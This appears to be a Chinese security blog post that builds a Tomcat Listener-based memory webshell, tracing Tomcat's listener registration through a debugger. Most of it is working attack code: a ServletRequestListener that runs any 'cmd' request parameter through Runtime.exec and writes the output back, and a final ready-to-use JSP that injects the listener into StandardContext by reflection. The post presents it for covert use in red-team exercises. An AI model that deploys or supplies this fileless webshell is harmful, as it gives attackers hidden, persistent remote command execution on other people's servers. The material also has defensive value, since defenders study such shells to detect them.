0x00 前言
内存马已不是什么新技术了,现在hw基本都倾向于上内存马,因为可以更加的隐蔽。
在今年四月份的时候写了关于 Filter 内存马的文章: http://wjlshare.com/archives/1529
但是在那之后就没有后续了,内存马还有 Listener、Servlet、agent ,所以本文就来介绍一下同样使用的也比较多的 Listener 内存马
Ps:很多Tomcat相关原理都在上一篇文章中介绍了所以这篇文章就不再重复赘述了
listener 和 filter 内存马的原理都是非常相似的,所以本文尝试不参考任何资料(除了官方文档)来进行payload 的构造,主要是因为网上Tomcat的内存马是占大多数的但是只要切换中间件那么相关文章就会少很多,但是思路是通用的,这样在编写其他中间件的内存马的时候也会有帮助
所以如果错误还望师傅们指正
0x01 分析
学过 Filter 内存马的肯定都知道,内存马的实现其实就是动态注册一个 Filter/Servlet/Listener 然后在其中编写恶意方法,那么就能起到文件不落地并执行命令的目的
所以在编写 Listener 内存马 Payload 的时候我们首先需要捋清楚 Tomcat 中 Listener 的注册流程
最直观的方式就是编写一个 Listener 然后通过断点去分析注册流程
我这里简单的创建了一个 Servlet 的项目
HelloServlet:
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class HelloServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.getWriter().write("hello");
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
}
恶意 Listener 构造
接下来编写一个 Listener,Listener 顾名思义就是监听器,他能够监听一些事件从而来达到一些效果。
要实现一个 Listener 必须实现 EventListener 接口
可以看到有很多接口继承自 EventListener ,那么如果我们需要实现内存马的话就需要找一个每个请求都会触发的 Listener
这里我找到了 ServletRequestListener ,因为根据名字以及其中的 requestInitialized 方法感觉我们的发送的每个请求都会触发这个监控器
有了猜想之后就可以先开始实践了,编写一个简单的 demo 来进行测试
public class ServletListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("DONE!!!");
}
}
测试发现我们每次请求都会触发这个 Listener 也就验证了我们的猜想
所以在找到了适合的 Listener 之后,我们就可以在其基础上进行内存马的编写,所以接下来我们只需要解决以下两个问题就可以了
- 恶意代码写在哪里?
- Tomcat 中的 Listener 是如何实现注册的?
恶意代码编写位置其实已经很明了了,也就是之前 System.out.println("DONE!!!");
的地方了
与之前的 Filter 不同,在 doFilter 方法中参数中就含有 servletRequest 和 servletResponse
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("执行过滤操作");
filterChain.doFilter(servletRequest,servletResponse);
}
而在 Listener 这里提供了 ServletRequestEvent 类型的参数,从名字可推测出为 Servlet请求事件
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("DONE!!!");
}
我们既然要做内存马所以就必须要获取到发送过来的请求,然后从请求中获取我们要执行的命令然后利用 Runtime 来进行执行,例如:https://www.xxxx.com/demo?cmd=ls
这里面 cmd 参数的值,所以我们需要寻找 sre 的一个方法来获取到请求
通过 IDEA 的派生我们可以快速找到 getServletRequest
方法
简单的查看一下这个方法 ,可以看到该方法返回的是 ServletRequest 接口的实现类,那么具体是哪个实现类呢,我们直接调试一下就知道了
可以看到返回的类为 org.apache.catalina.connector.RequestFacade
,查看该类源码
发现该类的 request
属性中就有这我们需要的 Request ,那么这样就很简单了,我们直接反射获取就可以了
org.apache.catalina.connector.RequestFacade requestFacade = (RequestFacade) sre.getServletRequest();
try {
Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
System.out.println(request);
}catch (Exception e){
e.printStackTrace();
}
可以看到成功输出了我们想要的东西
得到了 Request 之后接下来就很简单了 ,把获取的参数值作为我们的 Runtime 的参数就可以了
@Override
public void requestInitialized(ServletRequestEvent sre) {
String cmd;
try {
cmd = sre.getServletRequest().getParameter("cmd");
org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = request.getResponse();
if (cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i=inputStream.read(bytes)) != -1){
response.getWriter().write(new String(bytes,0,i));
response.getWriter().write("\r\n");
}
}
}catch (Exception e){
e.printStackTrace();
}
}
命令结果成功回显
至此我们的恶意 Listener 就构造好了,接下来就是去分析 Tomcat 中 Listener 的注册逻辑了
public class ServletListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
String cmd;
try {
cmd = sre.getServletRequest().getParameter("cmd");
org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = request.getResponse();
if (cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i=inputStream.read(bytes)) != -1){
response.getWriter().write(new String(bytes,0,i));
response.getWriter().write("\r\n");
}
}
}catch (Exception e){
e.printStackTrace();
}
}
}
Tomcat Listener 注册流程
listenerStart()
在构造好了 Listener 之后我们只需要捋清楚注册流程我们就能动态注册了,Tomcat 中 Listener 的注册流程比 Filter 要简单太多了
Listener 既然要被注册进去并使用,那么期间肯定会实例化,所以我在 class 部分和命令执行部分打了断点
顺着堆栈向上看可以很快的定位到 StandardContext#listenerStart 方法
可看到在我红框框出来的地方进行了实例化,然后这里的 listener 为 String 类型,猜测这里是根据名字来进行实例化的
String listener = listeners[i];
results[i] = this.getInstanceManager().newInstance(listener);
所以我们来仔细看一个 StandardContext#listenerStart 函数,上文提到 listener 那么我们就需要去看一下 listener 是从哪里来的
可以看到是 listeners 是 findApplicationListeners 方法的返回值
而 findApplicationListeners 函数就是获取 applicationListeners 属性的,而 applicationListeners 数组中存放的就是我们 Listener 的名字
所以我们现在可以知道有这样一个流程:
- 我们的 Listener 的名字被存放在 applicationListeners 数组中 (名字是从 web.xml 中添加进来的感兴趣的师傅可以自己跟一下)
- findApplicationListeners 函数取出内容并进行实例化,并存到 result 中
继续往下看,首先遍历了 results 数组,然后在 for 循环中根据不同类型的 Listener 添加到了不同的数组中,这里我们的 ServletListener 属于第一个判断,所以被添加到了 eventListeners 数组中
接下来调用 getApplicationEventListeners 函数来获取 applicationEventListenersList 属性(即已注册的 Listener)
然后调用 setApplicationEventListeners 来进行设置 ,可以看到在函数中首先会清空 applicationEventListenersList ,所以这就解释了为什么上面要重新取出来赋值,然后将获取到的数组全部进行传入
看到 applicationEventListenersList 数组,可以看到是 List<Object>
所以这里面存放的都是实例化后的 listener
至此 listenerStart 函数的主要部分就介绍完毕了
fireRequestInitEvent()
在前面的函数部分我们知道了 listenerStart() 将我们的 Listener 实例化添加到了 applicationEventListenersList 中,那么只存进去是不可能触发的,我们的 Listener 需要触发肯定需要一个函数点来调用
所以从第二个断点的堆栈往上看
看到调用了 listener.requestInitialized(event);
而这个 listener 就是我们的恶意 Listener 实例,可以看到是通过遍历 instances 数组,而 instances 数组就是通过 getApplicationEventListeners 方法来进行获取的值
看到这儿是不是很熟悉了~ 没错就是上面那个函数将实例添加进去的地方
所以我们的内存马只需要添加到这个数组里面就可以了
最终构造
我们先调用 getApplicationEventListeners 将 applicationEventListenersList 取出来,然后将我们构造好的恶意 listener 添加进去就可以了
Object[] objects = standardContext.getApplicationEventListeners();
List<Object> listeners = Arrays.asList(objects);
List<Object> arrayList = new ArrayList(listeners);
arrayList.add(new ListenerMemShell());
standardContext.setApplicationEventListeners(arrayList.toArray());
由于方法都在 StandardContext 中,所以我们需要先获取 StandardContext 对象,这个在之前有介绍过就不多赘述了
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
至此一个简单的 Listener 内存马就构造完毕了
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%!
class ListenerMemShell implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
String cmd;
try {
cmd = sre.getServletRequest().getParameter("cmd");
org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = request.getResponse();
if (cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i=inputStream.read(bytes)) != -1){
response.getWriter().write(new String(bytes,0,i));
response.getWriter().write("\r\n");
}
}
}catch (Exception e){
e.printStackTrace();
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>
<%
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
Object[] objects = standardContext.getApplicationEventListeners();
List<Object> listeners = Arrays.asList(objects);
List<Object> arrayList = new ArrayList(listeners);
arrayList.add(new ListenerMemShell());
standardContext.setApplicationEventListeners(arrayList.toArray());
%>
ps:为了方便测试所以我放在 jsp 里了,jsp 和 java 差异也就是多一些内置的对象例如 request & response 这些,所以如果要 java 的话 在前面添加获取 request 和 response 的代码就行了,然后编译成 class 进行字节码加载就ok了